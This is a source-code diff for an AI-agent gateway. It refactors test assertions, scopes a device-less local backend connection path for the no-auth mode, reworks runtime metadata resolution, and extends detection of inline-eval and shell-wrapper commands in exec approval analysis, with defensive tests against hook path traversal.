100644 --- a/src/gateway/server.auth.control-ui.suite.ts +++ b/src/gateway/server.auth.control-ui.suite.ts @@ -176,7 +176,6 @@ export function registerControlUiAndPairingSuite(): void { deviceId: string, ) => { const metadata = paired[deviceId]; - expect(metadata).toBeTruthy(); if (!metadata) { throw new Error(`Expected paired metadata for deviceId=${deviceId}`); } @@ -244,7 +243,9 @@ export function registerControlUiAndPairingSuite(): void { let device: Awaited>["device"] | null = null; if (tc.withUnpairedNodeDevice) { const challengeNonce = await readConnectChallengeNonce(ws); - expect(challengeNonce, tc.name).toBeTruthy(); + if (!challengeNonce) { + throw new Error(`expected connect challenge nonce for ${tc.name}`); + } ({ device } = await createSignedDevice({ token: null, role: "node", @@ -488,7 +489,9 @@ export function registerControlUiAndPairingSuite(): void { await withControlUiGatewayServer(async ({ port }) => { const staleDeviceWs = await openWs(port, { origin: originForPort(port) }); const challengeNonce = await readConnectChallengeNonce(staleDeviceWs); - expect(challengeNonce, "stale device challenge").toBeTruthy(); + if (!challengeNonce) { + throw new Error("expected stale device challenge nonce"); + } const { device } = await createSignedDevice({ token: "secret", scopes: [], @@ -735,7 +738,9 @@ export function registerControlUiAndPairingSuite(): void { (entry) => entry.deviceId === identity.deviceId, ); expect(pendingAfterRead).toHaveLength(0); - expect(await getPairedDevice(identity.deviceId)).toBeTruthy(); + if (!(await getPairedDevice(identity.deviceId))) { + throw new Error(`expected paired device ${identity.deviceId}`); + } wsRemoteRead.close(); const ws2 = await openWs(port, { host: "gateway.example" }); @@ -759,7 +764,9 @@ export function registerControlUiAndPairingSuite(): void { ); expect(pendingAfterAdmin).toHaveLength(1); expect(pendingAfterAdmin[0]?.scopes ?? []).toEqual(expect.arrayContaining(["operator.admin"])); - expect(await getPairedDevice(identity.deviceId)).toBeTruthy(); + if (!(await getPairedDevice(identity.deviceId))) { + throw new Error(`expected paired device ${identity.deviceId}`); + } ws2.close(); await server.close(); restoreGatewayToken(prevToken); @@ -941,8 +948,9 @@ export function registerControlUiAndPairingSuite(): void { const issuedOperatorToken = initialPayload?.auth?.deviceTokens?.find( (entry) => entry.role === "operator", )?.deviceToken; - expect(issuedDeviceToken).toBeDefined(); - expect(issuedOperatorToken).toBeDefined(); + if (!issuedDeviceToken || !issuedOperatorToken) { + throw new Error("expected issued device and operator tokens"); + } expect(initialPayload?.auth?.role).toBe("node"); expect(initialPayload?.auth?.scopes ?? []).toEqual([]); expect(initialPayload?.auth?.deviceTokens?.some((entry) => entry.role === "node")).toBe( @@ -1498,7 +1506,9 @@ export function registerControlUiAndPairingSuite(): void { const pendingUpgrade = (await listDevicePairing()).pending.find( (entry) => entry.deviceId === identity.deviceId, ); - expect(pendingUpgrade).toBeTruthy(); + if (!pendingUpgrade) { + throw new Error(`expected pending upgrade for device ${identity.deviceId}`); + } expect(pendingUpgrade?.scopes ?? []).toEqual(expect.arrayContaining(["operator.admin"])); const repaired = await getPairedDevice(identity.deviceId); expect(repaired?.role).toBe("operator"); @@ -1596,7 +1606,9 @@ export function registerControlUiAndPairingSuite(): void { expect(dockerCli.ok).toBe(true); const pending = await listDevicePairing(); expect(pending.pending.filter((entry) => entry.deviceId === identity.deviceId)).toEqual([]); - expect(await getPairedDevice(identity.deviceId)).toBeTruthy(); + if (!(await getPairedDevice(identity.deviceId))) { + throw new Error(`expected paired device ${identity.deviceId}`); + } } finally { wsDockerCli.close(); await server.close(); diff --git a/src/gateway/server.auth.default-token.suite.ts b/src/gateway/server.auth.default-token.suite.ts index 94bfa15eac3..860c6aa68cc 100644 --- a/src/gateway/server.auth.default-token.suite.ts +++ b/src/gateway/server.auth.default-token.suite.ts @@ -361,7 +361,9 @@ export function registerDefaultAuthTokenSuite(): void { const presence = helloOk?.snapshot?.presence; expect(Array.isArray(presence)).toBe(true); const mine = presence?.find((entry) => entry.deviceId === identity.deviceId); - expect(mine).toBeTruthy(); + if (!mine) { + throw new Error(`expected presence entry for device ${identity.deviceId}`); + } const presenceScopes = Array.isArray(mine?.scopes) ? mine?.scopes : []; expect(presenceScopes).toEqual([]); expect(presenceScopes).not.toContain("operator.admin"); diff --git a/src/gateway/server.auth.shared.ts b/src/gateway/server.auth.shared.ts index e1341b2956c..ac460428a1c 100644 --- a/src/gateway/server.auth.shared.ts +++ b/src/gateway/server.auth.shared.ts @@ -204,20 +204,22 @@ function resolveGatewayTokenOrEnv(): string { typeof (testState.gatewayAuth as { token?: unknown } | undefined)?.token === "string" ? ((testState.gatewayAuth as { token?: string }).token ?? undefined) : process.env.OPENCLAW_GATEWAY_TOKEN; - expect(typeof token).toBe("string"); - return token ?? ""; + if (typeof token !== "string") { + throw new Error("expected gateway token in test state or OPENCLAW_GATEWAY_TOKEN"); + } + return token; } async function approvePendingPairingIfNeeded() { const { approveDevicePairing, listDevicePairing } = await import("../infra/device-pairing.js"); const list = await listDevicePairing(); const pending = list.pending.at(0); - expect(pending?.requestId).toBeDefined(); - if (pending?.requestId) { - await approveDevicePairing(pending.requestId, { - callerScopes: pending.scopes ?? ["operator.admin"], - }); + if (!pending?.requestId) { + throw new Error("expected pending pairing request"); } + await approveDevicePairing(pending.requestId, { + callerScopes: pending.scopes ?? ["operator.admin"], + }); } async function configureTrustedProxyControlUiAuth() { @@ -325,8 +327,10 @@ async function resolvePairedTokenForDeviceIdentityPath(deviceIdentityPath: strin const paired = await getPairedDevice(identity.deviceId); const deviceToken = paired?.tokens?.operator?.token; expect(paired?.deviceId).toBe(identity.deviceId); - expect(deviceToken).toBeDefined(); - return { identity: { deviceId: identity.deviceId }, deviceToken: deviceToken ?? "" }; + if (!deviceToken) { + throw new Error(`expected operator token for paired device ${identity.deviceId}`); + } + return { identity: { deviceId: identity.deviceId }, deviceToken }; } async function startRateLimitedTokenServerWithPairedDeviceToken() { diff --git a/src/gateway/server.node-invoke-approval-bypass.test.ts b/src/gateway/server.node-invoke-approval-bypass.test.ts index c52089062aa..cb68da708e5 100644 --- a/src/gateway/server.node-invoke-approval-bypass.test.ts +++ b/src/gateway/server.node-invoke-approval-bypass.test.ts @@ -47,7 +47,7 @@ async function expectNoForwardedInvoke(hasInvoke: () => boolean): Promise expect(hasInvoke()).toBe(false); } -function requireNonEmptyString(value: string | undefined, label: string): string { +function requireNonEmptyString(value: string | null | undefined, label: string): string { if (!value) { throw new Error(`expected ${label}`); } diff --git a/src/gateway/server.sessions.permissions-hooks.test.ts b/src/gateway/server.sessions.permissions-hooks.test.ts index 22d4207109c..ab841f78140 100644 --- a/src/gateway/server.sessions.permissions-hooks.test.ts +++ b/src/gateway/server.sessions.permissions-hooks.test.ts @@ -291,7 +291,7 @@ test("session:patch hook mutations cannot change the response path", async () => expect(patched.payload?.resolved).toEqual({ modelProvider: "anthropic", model: "claude-opus-4-6", - agentRuntime: { id: "pi", source: "implicit" }, + agentRuntime: { id: "auto", source: "implicit" }, }); expect(patched.payload?.entry.label).toBe("cfg-isolation"); diff --git a/src/gateway/server.sessions.store-rpc.test.ts b/src/gateway/server.sessions.store-rpc.test.ts index 7c8eb94df98..b5a7e5e8a69 100644 --- a/src/gateway/server.sessions.store-rpc.test.ts +++ b/src/gateway/server.sessions.store-rpc.test.ts @@ -352,7 +352,7 @@ test("lists and patches session store via sessions.* RPC", async () => { expect(modelPatched.payload?.resolved?.modelProvider).toBe("openai"); expect(modelPatched.payload?.resolved?.model).toBe("gpt-test-a"); expect(modelPatched.payload?.resolved?.agentRuntime).toEqual({ - id: "pi", + id: "codex", source: "implicit", }); @@ -370,7 +370,7 @@ test("lists and patches session store via sessions.* RPC", async () => { ); expect(mainAfterModelPatch?.modelProvider).toBe("openai"); expect(mainAfterModelPatch?.model).toBe("gpt-test-a"); - expect(mainAfterModelPatch?.agentRuntime).toEqual({ id: "pi", source: "implicit" }); + expect(mainAfterModelPatch?.agentRuntime).toEqual({ id: "codex", source: "implicit" }); const compacted = await directSessionReq<{ ok: true; compacted: boolean }>("sessions.compact", { key: "agent:main:main", diff --git a/src/gateway/server/ws-connection/auth-context.state.test.ts b/src/gateway/server/ws-connection/auth-context.state.test.ts index a4b65355b9f..d5de1c76e7b 100644 --- a/src/gateway/server/ws-connection/auth-context.state.test.ts +++ b/src/gateway/server/ws-connection/auth-context.state.test.ts @@ -78,6 +78,32 @@ describe("resolveConnectAuthState", () => { }); describe("resolveConnectAuthDecision", () => { + it("sets sharedAuthOk false when auth mode is none (no shared secret provided)", async () => { + const state = await resolveConnectAuthState({ + resolvedAuth: { + mode: "none", + allowTailscale: false, + } satisfies ResolvedGatewayAuth, + connectAuth: {}, + hasDeviceIdentity: false, + req: { + headers: {}, + socket: { remoteAddress: "127.0.0.1" }, + } as never, + trustedProxies: [], + allowRealIpFallback: false, + rateLimiter: createLimiter(), + clientIp: "127.0.0.1", + }); + + expect(state.authOk).toBe(true); + expect(state.authMethod).toBe("none"); + // auth:none does NOT set sharedAuthOk globally — it's not a shared secret. + // Only shouldSkipLocalBackendSelfPairing treats auth:none as shared-auth-scoped + // for local backend connections specifically. + expect(state.sharedAuthOk).toBe(false); + }); + it("resets the shared-secret limiter after device-token auth succeeds", async () => { const rateLimiter = createLimiter(); await resolveConnectAuthDecision({ diff --git a/src/gateway/server/ws-connection/connect-policy.test.ts b/src/gateway/server/ws-connection/connect-policy.test.ts index 49f1fdbce7d..fb3a2def5e2 100644 --- a/src/gateway/server/ws-connection/connect-policy.test.ts +++ b/src/gateway/server/ws-connection/connect-policy.test.ts @@ -128,6 +128,36 @@ describe("ws connect policy", () => { }).kind, ).toBe("allow"); + expect( + evaluateMissingDeviceIdentity({ + hasDeviceIdentity: false, + role: "operator", + isControlUi: false, + controlUiAuthPolicy: policy, + trustedProxyAuthOk: false, + localBackendSelfPairingOk: true, + sharedAuthOk: false, + authOk: true, + hasSharedAuth: false, + isLocalClient: true, + }).kind, + ).toBe("allow"); + + expect( + evaluateMissingDeviceIdentity({ + hasDeviceIdentity: false, + role: "node", + isControlUi: false, + controlUiAuthPolicy: policy, + trustedProxyAuthOk: false, + localBackendSelfPairingOk: true, + sharedAuthOk: false, + authOk: true, + hasSharedAuth: false, + isLocalClient: true, + }).kind, + ).toBe("reject-device-required"); + expect( evaluateMissingDeviceIdentity({ hasDeviceIdentity: false, diff --git a/src/gateway/server/ws-connection/connect-policy.ts b/src/gateway/server/ws-connection/connect-policy.ts index 27284609174..dfb06ab0ece 100644 --- a/src/gateway/server/ws-connection/connect-policy.ts +++ b/src/gateway/server/ws-connection/connect-policy.ts @@ -111,6 +111,7 @@ export function evaluateMissingDeviceIdentity(params: { isControlUi: boolean; controlUiAuthPolicy: ControlUiAuthPolicy; trustedProxyAuthOk?: boolean; + localBackendSelfPairingOk?: boolean; sharedAuthOk: boolean; authOk: boolean; hasSharedAuth: boolean; @@ -130,6 +131,9 @@ export function evaluateMissingDeviceIdentity(params: { // registrations (see #45405 review). return { kind: "allow" }; } + if (params.localBackendSelfPairingOk && params.role === "operator") { + return { kind: "allow" }; + } if (params.isControlUi && !params.controlUiAuthPolicy.allowBypass) { // Allow localhost Control UI connections when allowInsecureAuth is configured. // Localhost has no network interception risk, and browser SubtleCrypto diff --git a/src/gateway/server/ws-connection/handshake-auth-helpers.test.ts b/src/gateway/server/ws-connection/handshake-auth-helpers.test.ts index d288bbbda08..5f379b8d381 100644 --- a/src/gateway/server/ws-connection/handshake-auth-helpers.test.ts +++ b/src/gateway/server/ws-connection/handshake-auth-helpers.test.ts @@ -451,6 +451,64 @@ describe("handshake auth helpers", () => { ).toBe(false); }); + it("skips backend self-pairing when auth mode is none (scoped, sharedAuthOk-independent)", () => { + const connectParams = { + client: { + id: GATEWAY_CLIENT_IDS.GATEWAY_CLIENT, + mode: GATEWAY_CLIENT_MODES.BACKEND, + }, + } as ConnectParams; + // auth:none on local backend skips regardless of sharedAuthOk + expect( + shouldSkipLocalBackendSelfPairing({ + connectParams, + locality: "direct_local", + hasBrowserOriginHeader: false, + sharedAuthOk: true, + authMethod: "none", + }), + ).toBe(true); + expect( + shouldSkipLocalBackendSelfPairing({ + connectParams, + locality: "shared_secret_loopback_local", + hasBrowserOriginHeader: false, + sharedAuthOk: true, + authMethod: "none", + }), + ).toBe(true); + // sharedAuthOk=false is fine for auth:none on local backend + expect( + shouldSkipLocalBackendSelfPairing({ + connectParams, + locality: "direct_local", + hasBrowserOriginHeader: false, + sharedAuthOk: false, + authMethod: "none", + }), + ).toBe(true); + // Remote connections with auth:none should NOT skip + expect( + shouldSkipLocalBackendSelfPairing({ + connectParams, + locality: "remote", + hasBrowserOriginHeader: false, + sharedAuthOk: true, + authMethod: "none", + }), + ).toBe(false); + // Browser origin with auth:none should NOT skip + expect( + shouldSkipLocalBackendSelfPairing({ + connectParams, + locality: "direct_local", + hasBrowserOriginHeader: true, + sharedAuthOk: false, + authMethod: "none", + }), + ).toBe(false); + }); + it("classifies non-CLI loopback + shared-secret clients as shared_secret_loopback_local", () => { const connectParams = { client: { diff --git a/src/gateway/server/ws-connection/handshake-auth-helpers.ts b/src/gateway/server/ws-connection/handshake-auth-helpers.ts index 3a0c0cced5a..da2a561aea6 100644 --- a/src/gateway/server/ws-connection/handshake-auth-helpers.ts +++ b/src/gateway/server/ws-connection/handshake-auth-helpers.ts @@ -262,13 +262,19 @@ export function shouldSkipLocalBackendSelfPairing(params: { if (!isBackendClient) { return false; } + const isLocal = + params.locality === "direct_local" || params.locality === "shared_secret_loopback_local"; + if (!isLocal || params.hasBrowserOriginHeader) { + return false; + } + // No-auth local backend: scoped bypass — not shared secret, but local-only + // device-less operation is safe when auth.mode is explicitly "none". + if (params.authMethod === "none") { + return true; + } const usesSharedSecretAuth = params.authMethod === "token" || params.authMethod === "password"; const usesDeviceTokenAuth = params.authMethod === "device-token"; - return ( - (params.locality === "direct_local" || params.locality === "shared_secret_loopback_local") && - !params.hasBrowserOriginHeader && - ((params.sharedAuthOk && usesSharedSecretAuth) || usesDeviceTokenAuth) - ); + return (params.sharedAuthOk && usesSharedSecretAuth) || usesDeviceTokenAuth; } function resolveSignatureToken(connectParams: ConnectParams): string | null { diff --git a/src/gateway/server/ws-connection/message-handler.ts b/src/gateway/server/ws-connection/message-handler.ts index 5a0e45abe27..ca3bcb3fbfc 100644 --- a/src/gateway/server/ws-connection/message-handler.ts +++ b/src/gateway/server/ws-connection/message-handler.ts @@ -673,6 +673,7 @@ export function attachGatewayWsMessageHandler(params: GatewayWsMessageHandlerPar isControlUi, controlUiAuthPolicy, trustedProxyAuthOk, + localBackendSelfPairingOk: skipLocalBackendSelfPairing, sharedAuthOk, authOk, hasSharedAuth, diff --git a/src/gateway/session-compaction-checkpoints.test.ts b/src/gateway/session-compaction-checkpoints.test.ts index 14b6a396fa0..ff418a1dd03 100644 --- a/src/gateway/session-compaction-checkpoints.test.ts +++ b/src/gateway/session-compaction-checkpoints.test.ts @@ -77,7 +77,7 @@ describe("session-compaction-checkpoints", () => { await cleanupCompactionCheckpointSnapshot(snapshot); expect(fsSync.existsSync(snapshot!.sessionFile)).toBe(false); - expect(fsSync.existsSync(sessionFile!)).toBe(true); + expect(fsSync.existsSync(sessionFile)).toBe(true); } finally { copyFileSyncSpy.mockRestore(); sessionManagerOpenSpy.mockRestore(); diff --git a/src/gateway/session-utils.test.ts b/src/gateway/session-utils.test.ts index 979651a6bad..cfbf622cbc7 100644 --- a/src/gateway/session-utils.test.ts +++ b/src/gateway/session-utils.test.ts @@ -58,15 +58,19 @@ function createSingleAgentAvatarConfig(workspace: string): OpenClawConfig { function createModelDefaultsConfig(params: { primary: string; - models?: Record>; + models?: Record; agentRuntime?: { id: string }; }): OpenClawConfig { return { agents: { defaults: { model: { primary: params.primary }, - models: params.models, - agentRuntime: params.agentRuntime, + models: { + ...params.models, + ...(params.agentRuntime + ? { [params.primary]: { agentRuntime: params.agentRuntime } } + : {}), + }, }, }, } as OpenClawConfig; @@ -307,15 +311,18 @@ describe("gateway session utils", () => { }); expect(result.sessions).toHaveLength(5); - expect( - result.sessions.every((session) => - session.thinkingLevels?.some((level) => level.id === "medium"), - ), - ).toBe(true); - expect(result.sessions.every((session) => session.thinkingOptions?.includes("medium"))).toBe( - true, + const missingMediumLevelSessionIds = result.sessions + .filter((session) => !session.thinkingLevels?.some((level) => level.id === "medium")) + .map((session) => session.sessionId); + const missingMediumOptionSessionIds = result.sessions + .filter((session) => !session.thinkingOptions?.includes("medium")) + .map((session) => session.sessionId); + + expect(missingMediumLevelSessionIds).toEqual([]); + expect(missingMediumOptionSessionIds).toEqual([]); + expect(result.sessions.map((session) => session.thinkingDefault)).toEqual( + Array.from({ length: result.sessions.length }, () => "medium"), ); - expect(result.sessions.every((session) => session.thinkingDefault === "medium")).toBe(true); expect(resolveThinkingProfile).toHaveBeenCalled(); }); @@ -1049,9 +1056,8 @@ describe("gateway session utils", () => { primary: "openai/gpt-5.4", fallbacks: ["openai-codex/gpt-5.4"], }, - agentRuntime: { id: "pi" }, }, - list: [{ id: "main", default: true, agentRuntime: { id: "claude-cli" } }], + list: [{ id: "main", default: true }], }, } as OpenClawConfig; @@ -1064,8 +1070,8 @@ describe("gateway session utils", () => { fallbacks: ["openai-codex/gpt-5.4"], }, agentRuntime: { - id: "claude-cli", - source: "agent", + id: "codex", + source: "implicit", }, }); }); @@ -1073,9 +1079,18 @@ describe("gateway session utils", () => { test("listAgentsForGateway reports explicit plugin runtime metadata", () => { const cfg = { session: { mainKey: "main" }, + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + agentRuntime: { id: "codex" }, + models: [], + }, + }, + }, agents: { defaults: { - agentRuntime: { id: "codex" }, + model: { primary: "openai/gpt-5.4" }, }, list: [{ id: "main", default: true }], }, @@ -1086,7 +1101,7 @@ describe("gateway session utils", () => { id: "main", agentRuntime: { id: "codex", - source: "defaults", + source: "provider", }, }); }); @@ -1312,7 +1327,7 @@ describe("listSessionsFromStore selected model display", () => { lastMessagePreview: "last 0", }), ); - expect(listed.sessions[0]?.agentRuntime).toEqual({ id: "pi", source: "implicit" }); + expect(listed.sessions[0]?.agentRuntime).toEqual({ id: "codex", source: "implicit" }); expect(listed.sessions[0]?.thinkingLevel).toBeUndefined(); expect(listed.sessions[0]?.thinkingLevels?.length).toBeGreaterThan(0); expect(listed.sessions[0]?.thinkingOptions?.length).toBeGreaterThan(0); @@ -1441,7 +1456,7 @@ describe("listSessionsFromStore selected model display", () => { expect(result.sessions[0]?.model).toBe("claude-opus-4-7"); expect(result.sessions[0]?.agentRuntime).toEqual({ id: "claude-cli", - source: "defaults", + source: "model", }); }); diff --git a/src/gateway/session-utils.ts b/src/gateway/session-utils.ts index be80b252324..5a4a712e82f 100644 --- a/src/gateway/session-utils.ts +++ b/src/gateway/session-utils.ts @@ -1,6 +1,6 @@ import fs from "node:fs"; import path from "node:path"; -import { resolveAgentRuntimeMetadata } from "../agents/agent-runtime-metadata.js"; +import { resolveModelAgentRuntimeMetadata } from "../agents/agent-runtime-metadata.js"; import { listAgentIds, resolveAgentConfig, @@ -1012,13 +1012,20 @@ export function listAgentsForGateway(cfg: OpenClawConfig): { const agents = agentIds.map((id) => { const meta = configuredById.get(id); const model = resolveGatewayAgentModel(cfg, id); + const resolvedModel = resolveDefaultModelForAgent({ cfg, agentId: id }); return Object.assign( { id, name: meta?.name, identity: meta?.identity, workspace: resolveAgentWorkspaceDir(cfg, id), - agentRuntime: resolveAgentRuntimeMetadata(cfg, id), + agentRuntime: resolveModelAgentRuntimeMetadata({ + cfg, + agentId: id, + provider: resolvedModel.provider, + model: resolvedModel.model, + sessionKey: resolveAgentMainSessionKey({ cfg, agentId: id }), + }), }, model ? { model } : {}, ); @@ -1711,7 +1718,6 @@ export function buildGatewaySessionRow(params: { const latestCompactionCheckpoint = buildCompactionCheckpointPreview( resolveLatestCompactionCheckpoint(entry), ); - const agentRuntime = resolveAgentRuntimeMetadata(cfg, sessionAgentId); const selectedOrRuntimeModelProvider = selectedModel?.provider ?? modelProvider; const selectedOrRuntimeModel = selectedModel?.model ?? model; const rowModelIdentity = lightweight @@ -1724,6 +1730,13 @@ export function buildGatewaySessionRow(params: { }); const rowModelProvider = rowModelIdentity.provider; const rowModel = rowModelIdentity.model; + const agentRuntime = resolveModelAgentRuntimeMetadata({ + cfg, + agentId: sessionAgentId, + provider: rowModelProvider, + model: rowModel, + sessionKey: key, + }); const estimatedCostUsd = lightweight ? resolveNonNegativeNumber(entry?.estimatedCostUsd) : (resolveEstimatedSessionCostUsd({ diff --git a/src/hooks/bundled/bootstrap-extra-files/handler.test.ts b/src/hooks/bundled/bootstrap-extra-files/handler.test.ts index d2018e20b43..9840db63add 100644 --- a/src/hooks/bundled/bootstrap-extra-files/handler.test.ts +++ b/src/hooks/bundled/bootstrap-extra-files/handler.test.ts @@ -68,8 +68,8 @@ describe("bootstrap-extra-files hook", () => { const injected = context.bootstrapFiles.filter((f) => f.name === "AGENTS.md"); expect(injected).toHaveLength(2); - expect(injected.some((f) => f.path.endsWith(path.join("packages", "core", "AGENTS.md")))).toBe( - true, + expect(injected.map((f) => path.relative(tempDir, f.path))).toContain( + path.join("packages", "core", "AGENTS.md"), ); }); diff --git a/src/hooks/workspace.test.ts b/src/hooks/workspace.test.ts index b0c8a561e3e..974faa6612c 100644 --- a/src/hooks/workspace.test.ts +++ b/src/hooks/workspace.test.ts @@ -49,6 +49,10 @@ function tryCreateHardlinkOrSkip(createLink: () => void): boolean { } } +function hookNames(entries: ReturnType): string[] { + return entries.map((entry) => entry.hook.name); +} + describe("hooks workspace", () => { it("ignores package.json hook paths that traverse outside package directory", () => { const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-hooks-workspace-")); @@ -66,7 +70,7 @@ describe("hooks workspace", () => { writeHookPackageManifest(pkgDir, ["../outside"]); const entries = loadHookEntriesFromDir({ dir: hooksRoot, source: "openclaw-workspace" }); - expect(entries.some((e) => e.hook.name === "outside")).toBe(false); + expect(hookNames(entries)).not.toContain("outside"); }); it("accepts package.json hook paths within package directory", () => { @@ -84,7 +88,7 @@ describe("hooks workspace", () => { writeHookPackageManifest(pkgDir, ["./nested"]); const entries = loadHookEntriesFromDir({ dir: hooksRoot, source: "openclaw-workspace" }); - expect(entries.some((e) => e.hook.name === "nested")).toBe(true); + expect(hookNames(entries)).toContain("nested"); }); it("ignores package.json hook paths that escape via symlink", () => { @@ -108,7 +112,7 @@ describe("hooks workspace", () => { writeHookPackageManifest(pkgDir, ["./linked"]); const entries = loadHookEntriesFromDir({ dir: hooksRoot, source: "openclaw-workspace" }); - expect(entries.some((e) => e.hook.name === "outside")).toBe(false); + expect(hookNames(entries)).not.toContain("outside"); }); it("ignores hooks with hardlinked HOOK.md aliases", () => { @@ -128,8 +132,7 @@ describe("hooks workspace", () => { } const entries = loadHookEntriesFromDir({ dir: hooksRoot, source: "openclaw-workspace" }); - expect(entries.some((e) => e.hook.name === "hardlink-hook")).toBe(false); - expect(entries.some((e) => e.hook.name === "outside")).toBe(false); + expect(hookNames(entries)).not.toEqual(expect.arrayContaining(["hardlink-hook", "outside"])); }); it("ignores hooks with hardlinked handler aliases", () => { @@ -147,7 +150,7 @@ describe("hooks workspace", () => { } const entries = loadHookEntriesFromDir({ dir: hooksRoot, source: "openclaw-workspace" }); - expect(entries.some((e) => e.hook.name === "hardlink-handler-hook")).toBe(false); + expect(hookNames(entries)).not.toContain("hardlink-handler-hook"); }); it("does not let workspace hooks override managed hooks with the same name", () => { diff --git a/src/index.test.ts b/src/index.test.ts index b950251cc7b..c156916145a 100644 --- a/src/index.test.ts +++ b/src/index.test.ts @@ -18,7 +18,9 @@ describe("legacy root entry", () => { it("does not run CLI bootstrap when imported as a library dependency", async () => { const runCli = vi.fn(async () => undefined); - expect(applyTemplate("Hello {{Name}}", { Name: "operator" })).toBe("Hello operator"); + expect(applyTemplate("Hello {{MessageSid}}", { MessageSid: "operator" })).toBe( + "Hello operator", + ); await runLegacyCliEntry(["openclaw", "status"], { runCli }); expect(runCli).toHaveBeenCalledWith(["openclaw", "status"]); diff --git a/src/infra/approval-view-model.test.ts b/src/infra/approval-view-model.test.ts new file mode 100644 index 00000000000..485761ff8b6 --- /dev/null +++ b/src/infra/approval-view-model.test.ts @@ -0,0 +1,32 @@ +import { describe, expect, it } from "vitest"; +import { buildPendingApprovalView } from "./approval-view-model.js"; +import type { ExecApprovalRequest } from "./exec-approvals.js"; + +describe("buildPendingApprovalView", () => { + it("passes command analysis through exec approval views", () => { + const request: ExecApprovalRequest = { + id: "approval-id", + createdAtMs: 1, + expiresAtMs: 2, + request: { + command: 'ls | grep "stuff" | python -c \'print("hi")\'', + host: "node", + ask: "always", + commandAnalysis: { + commandCount: 1, + nestedCommandCount: 0, + riskKinds: ["inline-eval"], + warningLines: ["Contains inline-eval: python -c"], + }, + }, + }; + + const view = buildPendingApprovalView(request); + + expect(view.approvalKind).toBe("exec"); + if (view.approvalKind !== "exec") { + throw new Error("expected exec approval view"); + } + expect(view.commandAnalysis?.warningLines).toEqual(["Contains inline-eval: python -c"]); + }); +}); diff --git a/src/infra/bonjour-discovery.test.ts b/src/infra/bonjour-discovery.test.ts index 1df5d7fd425..bf866b491e7 100644 --- a/src/infra/bonjour-discovery.test.ts +++ b/src/infra/bonjour-discovery.test.ts @@ -102,7 +102,7 @@ describe("bonjour-discovery", () => { expect(browseCalls.map((c) => c.argv[3])).toEqual( expect.arrayContaining(["local.", WIDE_AREA_DOMAIN]), ); - expect(browseCalls.every((c) => c.timeoutMs === 1234)).toBe(true); + expect([...new Set(browseCalls.map((c) => c.timeoutMs))]).toEqual([1234]); }); it("decodes dns-sd octal escapes in TXT displayName", async () => { @@ -269,8 +269,8 @@ describe("bonjour-discovery", () => { }), ]); - expect(calls.some((c) => c.argv[0] === "tailscale" && c.argv[1] === "status")).toBe(true); - expect(calls.some((c) => c.argv[0] === "dig")).toBe(true); + expect(calls.map((c) => c.argv.slice(0, 2).join(" "))).toContain("tailscale status"); + expect(calls.map((c) => c.argv[0])).toContain("dig"); }); it("normalizes domains and respects domains override", async () => { diff --git a/src/infra/command-analysis/explain.test.ts b/src/infra/command-analysis/explain.test.ts index 054f5a9cb97..c2afeb19f15 100644 --- a/src/infra/command-analysis/explain.test.ts +++ b/src/infra/command-analysis/explain.test.ts @@ -14,7 +14,9 @@ describe("command-analysis explanation summary", () => { expect(summary.commandCount).toBe(1); expect(summary.riskKinds).toContain("shell-wrapper"); expect(summary.riskKinds).toContain("inline-eval"); - expect(summary.warningLines.some((line) => line.includes("inline-eval"))).toBe(true); + expect(summary.warningLines).toEqual( + expect.arrayContaining([expect.stringContaining("inline-eval")]), + ); }); it("summarizes policy command segments without async parsing", () => { diff --git a/src/infra/command-explainer/extract.ts b/src/infra/command-explainer/extract.ts index 02097f13f58..8fb4070479e 100644 --- a/src/infra/command-explainer/extract.ts +++ b/src/infra/command-explainer/extract.ts @@ -2,6 +2,7 @@ import type { Node as TreeSitterNode } from "web-tree-sitter"; import type { InterpreterInlineEvalHit } from "../command-analysis/inline-eval.js"; import { detectCarriedShellBuiltinArgv, + detectCarrierInlineEvalArgv as detectSharedCarrierInlineEvalArgv, detectCommandCarrierArgv, detectInlineEvalArgv, detectShellWrapperThroughCarrierArgv, @@ -10,6 +11,7 @@ import { import { normalizeExecutableToken } from "../exec-wrapper-resolution.js"; import { extractShellWrapperCommand, + extractShellWrapperInlineCommand, isShellWrapperExecutable, POSIX_SHELL_WRAPPERS, resolveShellWrapperTransportArgv, @@ -876,14 +878,11 @@ function shellWrapperPayloadForParsing( dynamicArguments: DynamicArgument[], ): { command: string; spanBase: SpanBase } | null { const shellWrapper = extractShellWrapperCommand(argv); - if ( - !shellWrapper.isWrapper || - !shellWrapper.command || - isDynamicPayload(shellWrapper.command, dynamicArguments) - ) { + const payload = shellWrapper.command ?? extractShellWrapperInlineCommand(argv); + if (!shellWrapper.isWrapper || !payload || isDynamicPayload(payload, dynamicArguments)) { return null; } - const spanBase = payloadBaseFromArguments(shellWrapper.command, argumentsList); + const spanBase = payloadBaseFromArguments(payload, argumentsList); if (!spanBase) { return null; } @@ -892,11 +891,10 @@ function shellWrapperPayloadForParsing( if (!canParseShellWrapperPayload(transportArgv, commandFlag?.flag ?? null)) { return null; } - return { command: shellWrapper.command, spanBase }; + return { command: payload, spanBase }; } type InlineEvalHit = InterpreterInlineEvalHit; - function recordInlineEvalRisk( inlineEval: InlineEvalHit, text: string, @@ -941,13 +939,14 @@ function recordCommandRisks( } const normalizedExecutable = normalizeExecutableToken(executable); recordDynamicArgumentRisks(normalizedExecutable, dynamicArguments, output); - const inlineEval = detectInlineEvalArgv(argv); + const inlineEval = detectInlineEvalArgv(argv) ?? detectSharedCarrierInlineEvalArgv(argv); if (inlineEval) { recordInlineEvalRisk(inlineEval, text, span, output); } const shellWrapper = extractShellWrapperCommand(argv); - if (shellWrapper.isWrapper && shellWrapper.command) { + const shellWrapperPayload = shellWrapper.command ?? extractShellWrapperInlineCommand(argv); + if (shellWrapper.isWrapper && shellWrapperPayload) { const transportArgv = resolveShellWrapperTransportArgv(argv) ?? argv; const shellExecutable = transportArgv[0] ?? executable; const commandFlag = shellCommandFlag(transportArgv, 1) ?? shellCommandFlag(argv, 1); @@ -956,7 +955,7 @@ function recordCommandRisks( kind: "shell-wrapper", executable: shellExecutable, flag: commandFlag?.flag ?? "-c", - payload: shellWrapper.command, + payload: shellWrapperPayload, text, span, }); @@ -1079,6 +1078,10 @@ async function walk( argv: parsed.argv, text: node.text, span, + executableSpan: + nameNode !== null + ? spanFromNode(nameNode, state.spanBase) + : (parsed.arguments[0]?.span ?? span), }; if (step.executable) { output.commands.push(step); diff --git a/src/infra/command-explainer/format.test.ts b/src/infra/command-explainer/format.test.ts new file mode 100644 index 00000000000..2d5898e41f4 